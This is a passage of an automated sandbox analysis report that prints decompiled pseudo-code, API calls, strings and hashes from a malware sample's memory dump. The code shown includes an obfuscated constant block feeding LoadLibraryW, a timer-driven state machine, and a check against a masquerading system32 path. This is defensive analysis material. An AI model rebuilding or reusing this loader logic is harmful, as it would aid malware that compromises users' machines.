				 *((intOrPtr*)(_t459 - 0x1dc)) = 0x86ce9ce7;
				 *((intOrPtr*)(_t459 - 0x1d8)) = 0x211f7f09;
				 *((intOrPtr*)(_t459 - 0x1d4)) = 0xf9de4b2d;
				 *((intOrPtr*)(_t459 - 0x1d0)) = 0xd140063b;
				 *((intOrPtr*)(_t459 - 0x1cc)) = 0x3bdaa78a;
				 *((intOrPtr*)(_t459 - 0x1c8)) = 0xb5457f90;
				 *((intOrPtr*)(_t459 - 0x1c4)) = 0x3ce80fc7;
				 *((intOrPtr*)(_t459 - 0x1c0)) = 0xe8e6002b;
				 *((intOrPtr*)(_t459 - 0x1bc)) = 0x76542625;
				 *((intOrPtr*)(_t459 - 0x1b8)) = 0x86467745;
				 *((intOrPtr*)(_t459 - 0x1b4)) = 0x84c9e2bc;
				 *((intOrPtr*)(_t459 - 0x1b0)) = 0x7d02d01b;
				 *((intOrPtr*)(_t459 - 0x1ac)) = 0xe4013ce6;
				 *((intOrPtr*)(_t459 - 0x1a8)) = 0xcc7155c6;
				 *((intOrPtr*)(_t459 - 0x1a4)) = 0xc6682b62;
				 *((intOrPtr*)(_t459 - 0x1a0)) = 0xbe254a9;
				 *((intOrPtr*)(_t459 - 0x19c)) = 0x9bf8e2e9;
				 *((intOrPtr*)(_t459 - 0x198)) = 0xef1fe9af;
				 *((intOrPtr*)(_t459 - 0x194)) = 0xd5951ede;
				 *((intOrPtr*)(_t459 - 0x190)) = 0x5a89d7ca;
				 *((intOrPtr*)(_t459 - 0x18c)) = 0xca295347;
				 *((intOrPtr*)(_t459 - 0x188)) = 0x2a36f333;
				 *((intOrPtr*)(_t459 - 0x184)) = 0x15a0d91a;
				 *((intOrPtr*)(_t459 - 0x180)) = 0xf8e10016;
				 *((intOrPtr*)(_t459 - 0x17c)) = 0x432d4554;
				 *((intOrPtr*)(_t459 - 0x178)) = 0x46276497;
				 *((intOrPtr*)(_t459 - 0x174)) = 0x384f82e3;
				 *((intOrPtr*)(_t459 - 0x170)) = 0xf78e368c;
				 *((intOrPtr*)(_t459 - 0x16c)) = 0x5e1cb45;
				 *((intOrPtr*)(_t459 - 0x168)) = 0xfcee7480;
				 *((intOrPtr*)(_t459 - 0x164)) = 0x652d892a;
				 *((intOrPtr*)(_t459 - 0x160)) = 0x311cc00e;
				 *((intOrPtr*)(_t459 - 0x15c)) = 0x84970e8;
				 *((intOrPtr*)(_t459 - 0x158)) = 0x6d0e683c;
				 *((intOrPtr*)(_t459 - 0x154)) = 0x660f5069;
				 *((intOrPtr*)(_t459 - 0x150)) = 0x7780fb0a;
				 *((intOrPtr*)(_t459 - 0x14c)) = 0x55078e6f;
				 *((intOrPtr*)(_t459 - 0x148)) = 0xd56f60a4;
				 *((intOrPtr*)(_t459 - 0x144)) = 0xa5606620;
				 *((intOrPtr*)(_t459 - 0x140)) = 0xbc32b2f9;
				 *((intOrPtr*)(_t459 - 0x13c)) = 0x1ec4a89a;
				 *((intOrPtr*)(_t459 - 0x138)) = 0x77965ad1;
				 *((intOrPtr*)(_t459 - 0x134)) = 0xc67cbc33;
				 *((intOrPtr*)(_t459 - 0x130)) = 0x79d24d7a;
				 *((intOrPtr*)(_t459 - 0x12c)) = 0xc54c9af8;
				 *((intOrPtr*)(_t459 - 0x128)) = 0x1da74d14;
				 *((intOrPtr*)(_t459 - 0x124)) = 0x26422218;
				 *((intOrPtr*)(_t459 - 0x120)) = 0x633d8225;
				 *((intOrPtr*)(_t459 - 0x11c)) = 0x82af4c46;
				 *((intOrPtr*)(_t459 - 0x118)) = 0xadb1e9c8;
				 *((intOrPtr*)(_t459 - 0x114)) = 0xdeeda903;
				 *((intOrPtr*)(_t459 - 0x110)) = 0xe3bd0010;
				 *((intOrPtr*)(_t459 - 0x10c)) = 0xdae9191c;
				 *((intOrPtr*)(_t459 - 0x108)) = 0x9e7ec74e;
				 *((intOrPtr*)(_t459 - 0x104)) = 0x1534160a;
				 *((intOrPtr*)(_t459 - 0x100)) = 0xc3e23686;
				 *((intOrPtr*)(_t459 - 0xfc)) = 0x7365be1a;
				 *((intOrPtr*)(_t459 - 0xf8)) = 0x91616671;
				 *((intOrPtr*)(_t459 - 0xf4)) = 0xc5177a2e;
				 *((intOrPtr*)(_t459 - 0xf0)) = 0x405baa7e;
				 *((intOrPtr*)(_t459 - 0xec)) = 0x220f18ba;
				 *((intOrPtr*)(_t459 - 0xe8)) = 0xe4c660cd;
				 *((intOrPtr*)(_t459 - 0xe4)) = 0x5ab2eaef;
				 *((intOrPtr*)(_t459 - 0xe0)) = 0x2c97de7e;
				 *((intOrPtr*)(_t459 - 0xdc)) = 0x695282f0;
				 *((intOrPtr*)(_t459 - 0xd8)) = 0xbd013dd7;
				 *((intOrPtr*)(_t459 - 0xd4)) = 0x9bc4cccb;
				 *((intOrPtr*)(_t459 - 0xd0)) = 0x2c29e956;
				 *((intOrPtr*)(_t459 - 0xcc)) = 0x3ff2a25e;
				 *((intOrPtr*)(_t459 - 0xc8)) = 0xe03a5fd7;
				 *((intOrPtr*)(_t459 - 0xc4)) = 0x10516d8e;
				 *((intOrPtr*)(_t459 - 0xc0)) = 0x97faa8dc;
				 *((intOrPtr*)(_t459 - 0xbc)) = 0x76be59d2;
				 *((intOrPtr*)(_t459 - 0xb8)) = 0x8d4ecd3d;
				 *((intOrPtr*)(_t459 - 0xb4)) = 0xda05f263;
				 *((intOrPtr*)(_t459 - 0xb0)) = 0x1e7933a9;
				 *((intOrPtr*)(_t459 - 0xac)) = 0x3e328cb7;
				 *((intOrPtr*)(_t459 - 0xa8)) = 0xb796ddf2;
				 *((intOrPtr*)(_t459 - 0xa4)) = 0x289df743;
				 *((intOrPtr*)(_t459 - 0xa0)) = 0x6fad746e;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t459 - 0x9c)) = 0x70b20eba;
				 *((intOrPtr*)(_t459 - 0x98)) = 0xa66d7577;
				 *((intOrPtr*)(_t459 - 0x94)) = 0x753b6419;
				 *((intOrPtr*)(_t459 - 0x90)) = 0xb191e5fb;
				 *((intOrPtr*)(_t459 - 0x8c)) = 0x243794f1;
				 *((intOrPtr*)(_t459 - 0x88)) = 0x43fd0ef;
				 *((intOrPtr*)(_t459 - 0x84)) = 0xc4319a76;
				 *((intOrPtr*)(_t459 - 0x80)) = 0x36e9780e;
				 *((intOrPtr*)(_t459 - 0x7c)) = 0x82d4147d;
				 *((intOrPtr*)(_t459 - 0x78)) = 0xfea3aac6;
				 *((intOrPtr*)(_t459 - 0x74)) = 0xb3b10983;
				 *((intOrPtr*)(_t459 - 0x70)) = 0x35b1c364;
				 *((intOrPtr*)(_t459 - 0x6c)) = 0x47e0241c;
				 *((intOrPtr*)(_t459 - 0x68)) = 0xbd78707a;
				 *((intOrPtr*)(_t459 - 0x64)) = 0x11db37a1;
				 *((intOrPtr*)(_t459 - 0x60)) = 0x4461117a;
				 *((intOrPtr*)(_t459 - 0x5c)) = 0xf9c0a3f5;
				 *((intOrPtr*)(_t459 - 0x58)) = 0xe872faba;
				 *((intOrPtr*)(_t459 - 0x54)) = 0x64565f91;
				 *((intOrPtr*)(_t459 - 0x50)) = 0x618168c9;
				 *((intOrPtr*)(_t459 - 0x4c)) = 0xe712f78;
				 *((intOrPtr*)(_t459 - 0x48)) = 0x9674eb60;
				 *((intOrPtr*)(_t459 - 0x44)) = 0xdd4bf85d;
				 *((intOrPtr*)(_t459 - 0x40)) = 0x2ecf96f5;
				 *((intOrPtr*)(_t459 - 0x3c)) = 0x159080f0;
				 *((intOrPtr*)(_t459 - 0x38)) = 0x3c394030;
				 *((intOrPtr*)(_t459 - 0x34)) = 0xdbc6535c;
				 *((intOrPtr*)(_t459 - 0x30)) = 0x4316b4b0;
				 *((intOrPtr*)(_t459 - 0x2c)) = 0x4473ddfa;
				 *((intOrPtr*)(_t459 - 0x28)) = 0x3e75bff1;
				 *((intOrPtr*)(_t459 - 0x24)) = 0xf69d509a;
				 *((intOrPtr*)(_t459 - 0x20)) = 0x88a55e29;
				 *((intOrPtr*)(_t459 - 0x1c)) = 0x4b723696;
				 *((intOrPtr*)(_t459 - 0x18)) = 0xaa1e64e6;
				 *((intOrPtr*)(_t459 - 0x14)) = 0xbe8c107d;
				 *((intOrPtr*)(_t459 - 0x10)) = 0x47efc3ac;
				 *((intOrPtr*)(_t459 - 0xc)) = 0x2afe3fcf;
				 *((intOrPtr*)(_t459 - 8)) = 0x3af3c941;
				 *((intOrPtr*)(_t459 - 4)) = 0xcae7ee49;
				_t457 = L00501D10(0x510650, 0x9c, __edi, __esi);
				_t446 = LoadLibraryW(_t445); // executed
				 *0x514c8c = _t446;
				L00501DB0(_t457);
				_t452 =  *0x514c8c; // 0x76ec0000
				return E00501570(_t449, _t452, _t459 - 0x6ec, _t457, 0x1bb, 0x5a53741d, 0x5133b0);
			}

0x00507eda
0x00507eda
0x00507ee4
0x00507eee
0x00507ef8
0x00507f02
0x00507f0c
0x00507f16
0x00507f20
0x00507f2a
0x00507f34
0x00507f3e
0x00507f48
0x00507f52
0x00507f5c
0x00507f66
0x00507f70
0x00507f7a
0x00507f84
0x00507f8e
0x00507f98
0x00507fa2
0x00507fac
0x00507fb6
0x00507fc0
0x00507fca
0x00507fd4
0x00507fde
0x00507fe8
0x00507ff2
0x00507ffc
0x00508006
0x00508010
0x0050801a
0x00508024
0x0050802e
0x00508038
0x00508042
0x0050804c
0x00508056
0x00508060
0x0050806a
0x00508074
0x0050807e
0x00508088
0x00508092
0x0050809c
0x005080a6
0x005080b0
0x005080ba
0x005080c4
0x005080ce
0x005080d8
0x005080e2
0x005080ec
0x005080f6
0x00508100
0x0050810a
0x00508114
0x0050811e
0x00508128
0x00508132
0x0050813c
0x00508146
0x00508150
0x0050815a
0x00508164
0x0050816e
0x00508178
0x00508182
0x0050818c
0x00508196
0x005081a0
0x005081aa
0x005081b4
0x005081be
0x005081c8
0x005081d2
0x005081dc
0x005081e6
0x005081f0
0x005081fa
0x00508204
0x0050820e
0x00508218
0x00508222
0x0050822c
0x00508236
0x00508240
0x0050824a
0x00508254
0x0050825e
0x00508268
0x00508272
0x0050827c
0x00508286
0x00508290
0x0050829a
0x005082a4
0x005082ae
0x005082b8
0x005082c2
0x005082cc
0x005082d6
0x005082e0
0x005082ea
0x005082f4
0x005082fe
0x00508308
0x00508312
0x0050831c
0x00508326
0x00508330
0x0050833a
0x00508344
0x0050834e
0x00508358
0x00508362
0x0050836c
0x00508376
0x00508380
0x0050838a
0x00508394
0x0050839e
0x005083a8
0x005083b2
0x005083bc
0x005083c6
0x005083d0
0x005083da
0x005083e4
0x005083ee
0x005083f8
0x00508402
0x0050840c
0x00508416
0x00508420
0x0050842a
0x00508434
0x0050843e
0x00508448
0x00508452
0x0050845c
0x00508466
0x00508470
0x0050847a
0x00508484
0x0050848e
0x00508498
0x005084a2
0x005084ac
0x005084b6
0x005084c0
0x005084ca
0x005084d4
0x005084de
0x005084e8
0x005084f2
0x005084fc
0x00508506
0x00508510
0x0050851a
0x00508524
0x0050852e
0x00508538
0x00508542
0x0050854c
0x00508556
0x00508560
0x0050856a
0x00508574
0x0050857e
0x00508588
0x00508592
0x0050859c
0x005085a6
0x005085b0
0x005085ba
0x005085c4
0x005085ce
0x005085d8
0x005085e2
0x005085ec
0x005085f6
0x00508600
0x0050860a
0x00508614
0x0050861e
0x00508628
0x00508632
0x0050863c
0x00508646
0x00508650
0x0050865a
0x00508664
0x0050866e
0x00508678
0x00508682
0x0050868c
0x00508696
0x005086a0
0x005086aa
0x005086b4
0x005086be
0x005086c8
0x005086d2
0x005086dc
0x005086e6
0x005086f0
0x005086fa
0x00508704
0x0050870e
0x00508718
0x00508722
0x0050872c
0x00508736
0x00508740
0x0050874a
0x00508754
0x0050875e
0x00508768
0x00508772
0x0050877c
0x00508786
0x00508790
0x0050879a
0x005087a4
0x005087ae
0x005087b8
0x005087c2
0x005087cc
0x005087d6
0x005087e0
0x005087ea
0x005087f4
0x005087fe
0x00508808
0x00508812
0x0050881c
0x00508826
0x00508830
0x0050883a
0x00508844
0x0050884e
0x00508858
0x00508862
0x0050886c
0x00508876
0x00508880
0x0050888a
0x00508894
0x0050889e
0x005088a8
0x005088b2
0x005088bc
0x005088c6
0x005088d0
0x005088da
0x005088e4
0x005088ee
0x005088f8
0x00508902
0x0050890c
0x00508916
0x00508920
0x0050892a
0x00508934
0x0050893e
0x00508948
0x00508952
0x0050895c
0x00508966
0x00508970
0x0050897a
0x00508984
0x0050898e
0x00508998
0x005089a2
0x005089ac
0x005089b6
0x005089c0
0x005089ca
0x005089d4
0x005089de
0x005089e8
0x005089f2
0x005089fc
0x00508a06
0x00508a10
0x00508a1a
0x00508a24
0x00508a2e
0x00508a38
0x00508a42
0x00508a4c
0x00508a56
0x00508a60
0x00508a6a
0x00508a74
0x00508a7e
0x00508a88
0x00508a92
0x00508a9c
0x00508aa6
0x00508ab0
0x00508aba
0x00508ac4
0x00508ace
0x00508ad8
0x00508ae2
0x00508aec
0x00508af6
0x00508b00
0x00508b0a
0x00508b14
0x00508b1e
0x00508b28
0x00508b32
0x00508b3c
0x00508b46
0x00508b50
0x00508b5a
0x00508b64
0x00508b6e
0x00508b78
0x00508b82
0x00508b8c
0x00508b96
0x00508ba0
0x00508baa
0x00508bb4
0x00508bbe
0x00508bc8
0x00508bd2
0x00508bdc
0x00508be6
0x00508bf0
0x00508bfa
0x00508c04
0x00508c0e
0x00508c18
0x00508c22
0x00508c2c
0x00508c36
0x00508c40
0x00508c4a
0x00508c54
0x00508c5e
0x00508c68
0x00508c72
0x00508c7c
0x00508c86
0x00508c90
0x00508c9a
0x00508ca4
0x00508cae
0x00508cb8
0x00508cc2
0x00508ccc
0x00508cd6
0x00508ce0
0x00508cea
0x00508cf4
0x00508cfe
0x00508d08
0x00508d12
0x00508d1c
0x00508d26
0x00508d30
0x00508d3a
0x00508d44
0x00508d4e
0x00508d58
0x00508d62
0x00508d6c
0x00508d76
0x00508d80
0x00508d8a
0x00508d94
0x00508d9e
0x00508da8
0x00508db2
0x00508dbc
0x00508dc6
0x00508dd0
0x00508dda
0x00508de4
0x00508dee
0x00508df8
0x00508e02
0x00508e0c
0x00508e16
0x00508e20
0x00508e2a
0x00508e34
0x00508e3e
0x00508e48
0x00508e52
0x00508e5c
0x00508e66
0x00508e70
0x00508e7a
0x00508e84
0x00508e8e
0x00508e98
0x00508ea2
0x00508eac
0x00508ebb
0x00508ec5
0x00508ecf
0x00508ed9
0x00508ee3
0x00508eed
0x00508ef7
0x00508efe
0x00508f05
0x00508f0c
0x00508f13
0x00508f1a
0x00508f21
0x00508f28
0x00508f2f
0x00508f36
0x00508f3d
0x00508f44
0x00508f4b
0x00508f52
0x00508f59
0x00508f60
0x00508f67
0x00508f6e
0x00508f75
0x00508f7c
0x00508f83
0x00508f8a
0x00508f91
0x00508f98
0x00508f9f
0x00508fa6
0x00508fad
0x00508fb4
0x00508fbb
0x00508fc2
0x00508fc9
0x00508fd0
0x00508fdf
0x00508fe2
0x00508fea
0x00508fef
0x00508ff4
0x0050901b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 00508FE2

Strings

qbAd, xrefs: 00507F84
7DM, xrefs: 005084A2
+3/8, xrefs: 00508740
dIFQ, xrefs: 00508006
dqt, xrefs: 00508128
gcs, xrefs: 005083DA
,5, xrefs: 00508236
,wo, xrefs: 005082F4
-aLg, xrefs: 005087A4
)Tu', xrefs: 0050802E
=S5, xrefs: 00507F02
TE-C, xrefs: 00508C72
0@9<, xrefs: 00508F75
$sV, xrefs: 0050813C
22;:, xrefs: 005082AE
G/XC, xrefs: 0050898E
g*]>, xrefs: 005083A8
V),, xrefs: 00508E20
+, xrefs: 00508BC8
K~jN, xrefs: 0050888A
EboJ, xrefs: 005087FE
*Y<, xrefs: 005087E0
%&Tv, xrefs: 00508BD2
HV}4, xrefs: 005084FC

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: $sV$%&Tv$)Tu'$+$+3/8$,wo$-aLg$0@9<$22;:$7DM$=S5$EboJ$G/XC$HV}4$K~jN$TE-C$V),$dIFQ$dqt$g*]>$qbAd$*Y<$,5$gcs
API String ID: 1029625771-3472361963
Opcode ID: 652857e1ae1d2bc4fdcf8391ed45d7d2c2dd4e6bb941fbedbce08e5779ebcac9
Instruction ID: 32c33f1d6608659d9ea68eb90d859999185439ad871dd8c5cca42e722cd13363
Opcode Fuzzy Hash: 652857e1ae1d2bc4fdcf8391ed45d7d2c2dd4e6bb941fbedbce08e5779ebcac9
Instruction Fuzzy Hash: D682B5F08167A98FDB618F429E857CEBA31BB51344F5096C8D25D3A214CB760BC6CF89

Uniqueness

Uniqueness Score: 100.00%

Function 0050C801, Relevance: 10.6, APIs: 7, Instructions: 93
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0050C801(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				signed int _t15;
				intOrPtr _t16;

				_t14 = __eax;
				 *((intOrPtr*)(__esi + 0xf)) =  *((intOrPtr*)(__esi + 0xf)) + __edx;
				 *_t14 =  *__eax + __eax;
				_t15 = GetTickCount();
				if( *0x514ca8 > _t15) {
					L19:
					return _t15;
				} else {
					_t16 =  *0x514cac; // 0x4
					_t15 = _t16 - 1;
					if(_t15 > 3) {
						goto L19;
					} else {
						switch( *((intOrPtr*)(_t15 * 4 +  &M0050C96C))) {
							case 0:
								 *0x514cac = 0;
								_t17 = L00506E30(__edi, __esi, _t38);
								_t39 = _t17;
								if(_t17 == 0) {
									goto L7;
								} else {
									_t17 = L00507ED0(__edi, __esi, _t39); // executed
									_t40 = _t17;
									if(_t17 == 0) {
										goto L7;
									} else {
										_t17 = E0050DE40(__ebx, _t26, _t29, _t30, _t40, __fp0);
										if(_t17 != 0) {
											goto L7;
										} else {
											_t18 = GetTickCount();
											_t20 = GetTickCount();
											 *0x514cac = 2;
											_t22 = _t20 + 0xbb8 + _t18 % 0xbb8;
											 *0x514ca8 = _t22;
											return _t22;
										}
									}
								}
								goto L20;
							case 1:
								 *0x514cac = 0;
								__eflags = L00509020(__edi, __esi, __eflags);
								if(__eflags == 0) {
									L7:
									 *0x514cac = 4;
									return _t17;
								} else {
									__eax = L00509810(__edi, __esi, __eflags);
									__eflags = __eax;
									if(__eax == 0) {
										goto L7;
									} else {
										L0050AAE0();
										__eflags = __eax;
										if(__eflags == 0) {
											goto L7;
										} else {
											__eflags = L0050B930(__edx, __edi, __esi, __eflags);
											if(__eflags == 0) {
												goto L7;
											} else {
												__eflags = L0050BA20(__edi, __esi, __eflags);
												if(__eflags == 0) {
													goto L7;
												} else {
													__eax = L0050BFF0(__edi, __esi, __eflags);
													__eflags = __eax;
													if(__eax == 0) {
														goto L7;
													} else {
														__esp = __esp - 8;
														__eax = E00506B80(__ecx);
														__esp = __esp + 8;
														__eflags = __eax;
														if(__eax == 0) {
															goto L7;
														} else {
															_push(__ecx);
															__ecx = __eax;
															__eax = E0050E270(__eax);
															__esp = __esp + 4;
															__eflags = __eax;
															if(__eax == 0) {
																goto L7;
															} else {
																__eax = GetTickCount();
																__edx = 0;
																__ecx = 0xbb8;
																_t13 = __eax % 0xbb8;
																__eax = __eax / 0xbb8;
																__edx = _t13;
																__esi = _t13;
																__eax = GetTickCount();
																__eax = __eax + 0xbb8;
																 *0x514cac = 3;
																__eax = __eax + _t13;
																__eflags = __eax;
																 *0x514ca8 = __eax;
																_pop(__esi);
																return __eax;
															}
														}
													}
												}
											}
										}
									}
								}
								goto L20;
							case 2:
								 *0x514cac = 0;
								__esi = GetTickCount();
								__eax = E0050C6B0(__ebx, __eflags, __fp0);
								__esi = __esi + __eax;
								__eflags = __esi;
								 *0x514cac = 3;
								 *0x514ca8 = __esi;
								_pop(__esi);
								return __eax;
								goto L20;
							case 3:
								__eax = SetEvent( *0x512d58);
								goto L19;
						}
					}
				}
				L20:
			}

0x0050c801
0x0050c806
0x0050c80c
0x0050c80e
0x0050c81a
0x0050c967
0x0050c968
0x0050c820
0x0050c820
0x0050c825
0x0050c829
0x00000000
0x0050c82f
0x0050c82f
0x00000000
0x0050c836
0x0050c840
0x0050c845
0x0050c847
0x00000000
0x0050c849
0x0050c849
0x0050c84e
0x0050c850
0x00000000
0x0050c852
0x0050c852
0x0050c859
0x00000000
0x0050c85b
0x0050c85b
0x0050c86c
0x0050c877
0x0050c881
0x0050c883
0x0050c889
0x0050c889
0x0050c859
0x0050c850
0x00000000
0x00000000
0x0050c89a
0x0050c8a9
0x0050c8ab
0x0050c88c
0x0050c88c
0x0050c897
0x0050c8ad
0x0050c8ad
0x0050c8b2
0x0050c8b4
0x00000000
0x0050c8b6
0x0050c8b6
0x0050c8bb
0x0050c8bd
0x00000000
0x0050c8bf
0x0050c8c4
0x0050c8c6
0x00000000
0x0050c8c8
0x0050c8cd
0x0050c8cf
0x00000000
0x0050c8d1
0x0050c8d1
0x0050c8d6
0x0050c8d8
0x00000000
0x0050c8da
0x0050c8da
0x0050c8dd
0x0050c8e2
0x0050c8e5
0x0050c8e7
0x00000000
0x0050c8e9
0x0050c8e9
0x0050c8ef
0x0050c8f1
0x0050c8f6
0x0050c8f9
0x0050c8fb
0x00000000
0x0050c8fd
0x0050c8fd
0x0050c903
0x0050c905
0x0050c90a
0x0050c90a
0x0050c90a
0x0050c90c
0x0050c90e
0x0050c914
0x0050c919
0x0050c923
0x0050c923
0x0050c925
0x0050c92a
0x0050c92b
0x0050c92b
0x0050c8fb
0x0050c8e7
0x0050c8d8
0x0050c8cf
0x0050c8c6
0x0050c8bd
0x0050c8b4
0x00000000
0x00000000
0x0050c92e
0x0050c93e
0x0050c940
0x0050c945
0x0050c945
0x0050c947
0x0050c951
0x0050c957
0x0050c958
0x00000000
0x00000000
0x0050c961
0x00000000
0x00000000
0x0050c82f
0x0050c829
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0050C80E
SetEvent.KERNEL32 ref: 0050C961

Part of subcall function 0050DE40: lstrcmpiW.KERNEL32(C:\Users\Public\363.exe,C:\Windows\system32\emitwpc.exe,?,0050C857), ref: 0050DE78

GetTickCount.KERNEL32 ref: 0050C85B
GetTickCount.KERNEL32 ref: 0050C86C
GetTickCount.KERNEL32 ref: 0050C8FD
GetTickCount.KERNEL32 ref: 0050C90E
GetTickCount.KERNEL32 ref: 0050C938

Part of subcall function 0050C6B0: GetTickCount.KERNEL32 ref: 0050C6BB
Part of subcall function 0050C6B0: lstrlen.KERNEL32(00000000), ref: 0050C6E5
Part of subcall function 0050C6B0: GetTickCount.KERNEL32 ref: 0050C7B6

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CountTick$Eventlstrcmpilstrlen
String ID:
API String ID: 637603502-0
Opcode ID: c065c1f6261a2627bc96cdd328b55512544dbf04324e3a4dc065f918a092786e
Instruction ID: 03d2d7ee4a62674de25ceee1237a1d211c2b5e64e239daf391c3647ba180ef8e
Opcode Fuzzy Hash: c065c1f6261a2627bc96cdd328b55512544dbf04324e3a4dc065f918a092786e
Instruction Fuzzy Hash: 01318B715142024BE714BBB5AC1938E3EE4AFA5318F19C965E805C22E6FF70C84CEEB5

Uniqueness

Uniqueness Score: 0.01%

Function 0050C9C9, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
registryCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E0050C9C9(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				int _t26;
				struct HWND__* _t29;
				signed int _t32;
				long _t34;
				struct HWND__* _t55;
				void* _t59;

				L00501D10(__ecx, __edx, __edi, __esi);
				 *0x513344(_t59 - 0xd0, 0x40, _t18,  *0x512d5c);
				L00501DB0(_t18);
				E005017E0(0x30);
				 *(_t59 - 0x30) = 0x30;
				 *((intOrPtr*)(_t59 - 8)) = _t59 - 0xd0;
				 *((intOrPtr*)(_t59 - 0x10)) = 1;
				 *((intOrPtr*)(_t59 - 0x28)) = E0050C980;
				 *((intOrPtr*)(_t59 - 0x1c)) = GetModuleHandleW(0);
				_t26 = RegisterClassExW(_t59 - 0x30);
				if(_t26 != 0) {
					_t29 = CreateWindowExW(0, _t59 - 0xd0, 0, 0xcf0000, 0x80000000, 0x80000000, 0x80000000, 0x80000000, 0, 0, GetModuleHandleW(0), 0); // executed
					_t55 = _t29;
					if(_t55 != 0) {
						goto 0x5218df;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						SetTimer(_t55, GetTickCount(), ??, ??); // executed
						_t32 = GetTickCount();
						_t34 = GetTickCount();
						 *0x514cac = 1;
						 *0x514ca8 = _t34 + 0xbb8 + _t32 % 0xbb8;
						if(GetMessageW(_t59 - 0x4c, 0, 0, 0) > 0) {
							while(1) {
								TranslateMessage(_t59 - 0x4c);
								DispatchMessageW(_t59 - 0x4c); // executed
								if(WaitForSingleObject( *0x512d58, 0) != 0x102) {
									goto L8;
								}
								goto 0x5218f7;
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								if(GetMessageW() > 0) {
									continue;
								}
								goto L8;
							}
						}
						L8:
						DestroyWindow(_t55); // executed
					}
					goto 0x52190f;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t26 = UnregisterClassW();
				}
				goto 0x521926;
				return _t26;
			}

0x0050c9d1
0x0050c9e3
0x0050c9ee
0x0050c9fb
0x0050ca06
0x0050ca0f
0x0050ca12
0x0050ca19
0x0050ca26
0x0050ca2d
0x0050ca36
0x0050ca6f
0x0050ca75
0x0050ca79
0x0050ca7f
0x0050ca84
0x0050ca85
0x0050ca86
0x0050ca87
0x0050ca88
0x0050ca91
0x0050ca97
0x0050caa8
0x0050cab3
0x0050cac3
0x0050cad6
0x0050cae0
0x0050cae4
0x0050caee
0x0050cb07
0x00000000
0x00000000
0x0050cb09
0x0050cb0e
0x0050cb0f
0x0050cb10
0x0050cb11
0x0050cb12
0x0050cb1b
0x00000000
0x00000000
0x00000000
0x0050cb1b
0x0050cae0
0x0050cb1d
0x0050cb1e
0x0050cb1e
0x0050cb24
0x0050cb29
0x0050cb2a
0x0050cb2b
0x0050cb2c
0x0050cb2d
0x0050cb2d
0x0050cb33
0x0050cb38

APIs

_snwprintf.NTDLL ref: 0050C9E3
GetModuleHandleW.KERNEL32(00000000), ref: 0050CA20
RegisterClassExW.USER32(00000030), ref: 0050CA2D
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 0050CA40
CreateWindowExW.USER32(00000000,?,00000000,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000), ref: 0050CA6F

Strings

0, xrefs: 0050CA06

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: HandleModule$ClassCreateRegisterWindow_snwprintf
String ID: 0
API String ID: 1398201921-4108050209
Opcode ID: 4ce604e80aa59c142743730009602e47b22a262b1ab20eb363b1d3951f624bcc
Instruction ID: e28ab4cf7db0ec664796f4ed4e4973f89dcce8617f62f51fa212f7b36700522b
Opcode Fuzzy Hash: 4ce604e80aa59c142743730009602e47b22a262b1ab20eb363b1d3951f624bcc
Instruction Fuzzy Hash: EF118071900214ABEB219BE0EC19FEE7EB8FF14740F244559FA05B62D0DB706608DB59

Uniqueness

Uniqueness Score: 0.03%

Function 0050D8D4, Relevance: 9.0, APIs: 6, Instructions: 22
fileCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E0050D8D4() {
				void* _t1;
				int _t3;
				void* _t7;
				void* _t9;
				void* _t11;

				_t1 = MapViewOfFile(); // executed
				_t7 = _t1;
				if(_t7 != 0) {
					 *0x513304 = RtlComputeCrc32(0, _t7, GetFileSize(_t11, 0));
					UnmapViewOfFile(_t7);
				}
				CloseHandle(_t9);
				_t3 = CloseHandle(_t11);
				return _t3;
			}

0x0050d8d4
0x0050d8da
0x0050d8de
0x0050d8f4
0x0050d8f9
0x0050d8f9
0x0050d900
0x0050d908
0x0050d910

APIs

MapViewOfFile.KERNELBASE ref: 0050D8D4
GetFileSize.KERNEL32(?,00000000), ref: 0050D8E3
RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 0050D8ED
UnmapViewOfFile.KERNEL32(00000000,?,00000000), ref: 0050D8F9
CloseHandle.KERNEL32 ref: 0050D900
CloseHandle.KERNEL32 ref: 0050D908

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

